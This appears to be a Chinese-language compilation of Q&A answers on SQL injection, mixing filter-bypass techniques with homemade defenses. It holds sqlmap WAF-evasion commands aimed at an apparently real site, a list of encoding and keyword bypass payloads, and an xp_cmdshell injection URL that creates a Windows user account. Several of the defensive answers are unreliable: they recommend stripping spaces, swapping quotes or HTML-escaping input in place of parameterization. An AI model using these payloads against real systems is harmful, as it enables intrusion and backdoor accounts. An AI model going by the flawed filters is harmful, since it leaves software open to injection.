A. mysql. 小括弧繞過
注入錯誤原因。
SQL注入時,空格的使用是非常普遍的。比如,我們使用union來取得目標數據。
空格被過濾,但括弧沒有被過濾,可通過括弧繞過,我的經驗是,在MySQL中,括弧是用來包圍子查詢的。因此,任何可以計算出結果的語句,都可以用括弧包圍起來。
B. 如何防止SQL注入,並通過腳本來過濾SQL中注入的字元
如果您通過網頁獲取用戶輸入的數據並將其插入一個MySQL資料庫,那麼就有可能發生SQL注入安全的問題。
本章節將為大家介紹如何防止SQL注入,並通過腳本來過濾SQL中注入的字元。
http://e.cnzz.cn/201509/96863872.shtml
C. %201=1-- sql注入怎麼過濾
你舉出的這個例子是最常見的注入方式了,原因就是在字元串拼接sql的時候如果有--,那麼之後的SQL語句即當做注釋進行處理,即便代碼或存儲過程執行,也是不會報錯並能順利執行之前的語句的。
有2個好用的建議
1 把外部的參數,如果包含-- 則統統替換為 - - 即中間加入空格;這樣最多報錯,但不會被執行成功
2 如果是代碼字元串拼接,建議即便是number型的,在做sql的時候仍然加'' 例如select * from a where b = '"+haha+"'(b欄位為數值型),這樣對外部的參數進行處理,將所有的單引號統統替換為雙引號,即可解決。其中意義在於不讓後續的參數拼接形成 '' or 1=1-- and.........之類的局面
D. sql注入過程中單引號和多個關鍵字被過濾怎麼辦
很高興回答你的問題
SQL注入成功機率和選擇注入目標程序安全性有直接關系.單就你的問題和你的思路來說的話,你還可嘗試利用 ANSI 字元代碼變體來達到目的 比如 " 號對應 chr(34) .
是否成功取決於他本身程序是否也做了過濾.
另:還有很多方法同樣可以達到目的的.比如旁註、跨站、截取cookie 等
E. 利用sqlmap注入時,發現站點對空格進行了過濾,可以使用什麼腳本來繞過
0x00 前言
現在的網路環境往往是WAF/IPS/IDS保護著Web 伺服器等等,這種保護措施往往會過濾擋住我們的SQL注入查詢鏈接,甚至封鎖我們的主機IP,所以這個時候,我們就要考慮怎樣進行繞過,達到注入的目標。因為現在WAF/IPS/IDS都把sqlmap 列入黑名單了,呵呵!但是本文基於sqlmap 進行繞過注入測試,介紹至今仍然實用有效的技巧,以下策略在特定的環境能夠成功繞過,具體是否繞過,請仔細查看輸出的信息。
0x01 確認WAF
首先我們判斷該Web 伺服器是否被WAF/IPS/IDS保護著。這點很容易實現,因為我們在漏掃或者使用專門工具來檢測是否有WAF,這個檢測,在nmap 的NSE,或者WVS的策略或者APPSCAN的策略中都有,我們可以利用這些來判斷。在此我們,也介紹使用sqlmap 進行檢測是否有WAF/IPS/IDS
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --identify-waf#首選
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --check-waf#備選
0x02 使用參數進行繞過
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 #使用任意瀏覽器進行繞過,尤其是在WAF配置不當的時候
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hpp -v 3#使用HTTP 參數污染進行繞過,尤其是在ASP.NET/IIS 平台上
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=60 #使用長的延時來避免觸發WAF的機制,這方式比較耗時
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理進行注入
F. 用什麼方法繞過SQL注入的限制
1、運用編碼技術繞過
如URLEncode編碼,ASCII編碼繞過。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通過空格繞過
如兩個空格代替一個空格,用Tab代替空格等,或者刪除所有空格,如or』 swords』 =『swords』 ,由於mssql的鬆散性,我們可以把or 『swords』 之間的空格去掉,並不影響運行。
3、運用字元串判斷代替
用經典的or 1=1判斷繞過,如or 『swords』 =』swords』,這個方法就是網上在討論的。
4、通過類型轉換修飾符N繞過
可以說這是一個不錯的想法,他除了能在某種程度上繞過限制,而且還有別的作用,大家自己好好想想吧。關於利用,如or 『swords』 = N』 swords』 ,大寫的N告訴mssql server 字元串作為nvarchar類型,它起到類型轉換的作用,並不影響注射語句本身,但是可以避過基於知識的模式匹配IDS。
5、通過+號拆解字元串繞過
效果值得考證,但畢竟是一種方法。如 or 『swords』 =『sw』 +』 ords』 ;EXEC(『IN』 +』 SERT INTO 『+』 …..』 )
6、通過LIKE繞過
以前怎麼就沒想到呢?如or 『swords』 LIKE 『sw』!!!顯然可以很輕松的繞過「=」「>」的限制……
7、通過IN繞過
與上面的LIKE的思路差不多,如or 『swords』 IN (『swords』)
8、通過BETWEEN繞過
如or 『swords』 BETWEEN 『rw』 AND 『tw』
9、通過>或者<繞過
or 『swords』 > 『sw』
or 『swords』 < 『tw』
or 1<3
……
10、運用注釋語句繞過
用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感詞,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
11、用HEX繞過,一般的IDS都無法檢測出來
=hex(sysadmin)
=hex(db_owner)
另外,關於通用點的過濾方法,我們可以考慮採用賦值的方法,例如先聲明一個變數a,然後把我們的指令賦值給a,然後調用變數a最終執行我們輸入的命令。變數a可以是任何命令。如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
效果 how.asp?id=1;declare%20@a% 20sysname%20select%20@a=7300730020002f
00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;–
其中的 7300730020002f00610064006400 就是「net user angel pass /add」的意思。
G. sql 注入過濾代碼的問題
過濾好你的參數就OK了,Delect 或 DELECT 或 DelecT 這些沒必要過濾的, 堅決過濾掉 ' , " 這些符號,尤其是單引號,就OK了. Delect這些是正常的英文單詞 這個都過濾的 國外網站就不用說話啦....
istr = Replace(istr,CHR(32),"& nbsp;")
istr = Replace(istr,CHR(9),"& nbsp;")
istr = Replace(istr,CHR(10), "<b r />")
istr = Replace(istr,CHR(13), "")
istr = Replace(istr,"<","& lt;")
istr = Replace(istr,">","& gt;")
istr = Replace(istr,CHR(34),"& quot;")
istr = Replace(istr," ","& nbsp;")
istr = Replace(istr,CHR(39), "& #39;")
一般過濾掉這些就OK了,把&後面的空格去掉
H. sql注入 form過濾怎麼繞過
我常用的三種方法:
1,參數過濾,過濾掉 單引號,or,1=1 等類似這樣的 。
2,使用 參數化方法格式化 ,不使用拼接SQL 語句。
3,主要業務使用存儲過程,並在代碼里使用參數化來調用(存儲過程和方法2結合)
I. 現在對sql注入的問題主要的解決方法是什麼
這個方法雖然好,但分不出大小寫也是白搭 其實 只要過濾掉空格就可以了。
然後 自己設計的時候定義一下 傳遞的參數中間不能有空格:
比如 ID 當然不能有空格啦 分類 也不會有空格 呵呵
最簡單的防注入代碼:
<%
function mysql(mylist)
mylist=trim(mylist)
mylist=replace(mylist,"%20","")
mylist=replace(mylist," ","")
mysql=mylist
end function
%>
然後每次調用的時候 直接在頁面上加入:
id=mysql(request("id")) 等參數
我想 不管他們用什麼代碼,如果少了" "空格 Sql 語句就不可能正常運行,也就注入進去了吧。。。。
個人的淺見。。麻煩是麻煩了一點 但對於小網站 也就幾個頁面要這樣子 也無所謂了。。。。
如果誰有發現什麼漏動,請回復告知。謝謝